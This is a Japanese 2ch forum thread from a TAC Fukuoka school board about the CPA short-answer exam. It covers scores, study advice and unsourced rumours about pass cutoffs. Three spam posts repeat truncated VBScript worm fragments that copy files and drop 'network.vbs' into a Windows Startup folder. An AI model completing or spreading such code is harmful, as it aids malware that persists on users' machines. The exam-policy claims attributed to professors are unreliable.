■■TAC　福岡校■■ 夜の自習少なすぎ!!

今年は何人短刀をｽﾙｰできるかね。
すくなくともｵﾚは大丈夫だが。

いちいちそんなこと書いて楽しいのかな？

>>952
答練とかでちょっと名前が載ってるのかもしれんが、あまりいい気になってると後で痛い目にあうよ

If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"  
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)  
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\ 

別にどうでもいいよ。うかるやつはうかるし、ダメなやつはダメ。そんだけのことだ。
952も煽るヒマあったら答練の復習を一問でも多くやれ。
来年以降の低レベルな科目合格生よりは現行で受かるやつを現場で使いたいってことで、今年は
去年以上に短答で多めに取って論文で人数を絞る考えらしい。だったら、念には念を入れて
短答に問題なく受かるよう気を抜かずに勉強するべきだろう。あきらめたり余裕かましたりするのは
まだ早い。

＞来年以降の低レベルな科目合格生よりは現行で受かるやつを現場で使いたいってことで、今年は
＞去年以上に短答で多めに取って

ソース希望！！

うちの大学の研究室で話してたときに教授の口から出たものなので、文書等は特にない。
ただ、全科目一括で受かること自体に高度な事務処理能力の有無を見る意義があるので、
現行で受かれる人をなるべく重宝するということ、そしてそういう人材のなかには論文の答案構成は
上手くやれるけど「短答」という試験形式自体が苦手なために先に進めないという人が少なからず
いるので、問題の難易度を少し易しくして本来ボーダーが３８〜３９くらいになるところを３６前後に
据え置いて相対的に短答合格者を増やし、論文で実力を拝見しようという方向で試験委員は
考えるはずということだった。まぁ、易しいといっても過去と比べての話なので問題自体の質が落ちる
ワケではないし、いずれにしても、今年逃すと現場での評価が来年以降は１ランク下に見られてしまう
のは間違いないから、今年合格できるように油断することなく精進しよう。

九州の大学なんて(´`c_,'`)ﾌﾟｯ

簿記一級の上級コースを受講しようか迷っています。
ビデオコースとどちらがわかりやすいですか。
自習室は完備されていますか。

チャレンジ５０

If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"   
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)   
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\ 

受験前記念パピコ

みんながんがれ！受験番号4*5より

受験後記念パピコ

If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"    
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)    
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\  

どうでした？短刀
４０以上いるの？

漏れは18点OTL
撤退すべきか。

>>957
956はネタですよ〜!!

>>968
今年からの入門生だろ？
そうじゃないと、いくらなんでも今年受かろうってひとが１８点なんてありえない。
ネタとしか言いようがないね。

>>970
事実だから仕方がない。本試験の雰囲気に呑まれてあたふたして問題文ろくに読まずに勘でマーク。
今までの勉強は無駄だった。OTL

>>968

うちの大学の教授は会計学の権威なんだが、評価が落ちることはないと断言していたぞ。
ただ、会計士と税理士の違いを明確化するために、ネゴシエーション能力がない会計士の評価は今までよりも相当厳しくなるそうだ。

あ、2006年目標のテキストは従来よりもボリュームがはるかに多い事はしってる？
＆期限付きの科目別合格はあってないようなもの。泥沼の原因になるだけ。

↑
>>958
の間〜違〜い

理論で３０です今年は３４です　私のデータにもとづきます　私は４０ですが
ちなみに　ミスなし　理論マスターより

>>972
そうだな。
「科目合格」ったって飽くまで猶予期間でしかないし
内容の深さも現行の比じゃなくなるだろうな。
交渉力のなさは実務経験のない香具師じゃ致し方ないところもあるけど
勉強だけ考えてればよい受験生とちがって金が絡む実務じゃ別の能力が必要になる
ことくらいは皆もちゃんと考えて勉強してるはずだし、そういう部分を審査して無事パスした
香具師だけが会計士になれるわけだから、会計士登録後の実務に関する評価は今までと
あまり変わらないのではと思ってる。あとは本人の情報収集・分析能力や営業力次第だね。

↑
何か　かしこい

今回は35でいいんでしょうか？

まんこーーーーーーーーーーーーい

オマーン国際銀行

こりゃお前ら落ちるなｗ

福岡校の奴らって、みんな見てるのに書きこまないよな。
話したら２ちゃん見たとか言ってんのに。

>>981

ドキッ

大麻王国　九大

そろそろ新しい話題が欲しいところ

日本がんばれや！

15

14

13

12

11

10

9

8

7

6

5

4

3

2

1

−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは１０００を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験　 ┃
┃ 第774号　モナー.　　.┃
┃ ┌──────┐　┃
┃ │　　 ∩＿∩ 　 ｜　┃ 　　　　会計全般試験＠2ch掲示板
┃ │　　（ ´∀｀ ） 　｜　┃　　　　 http://school4.2ch.net/exam/　
┃ │ 　 （ 　 　 . ）.　｜　┃
┃ └──────┘　┃
┗━━━━━━━━━┛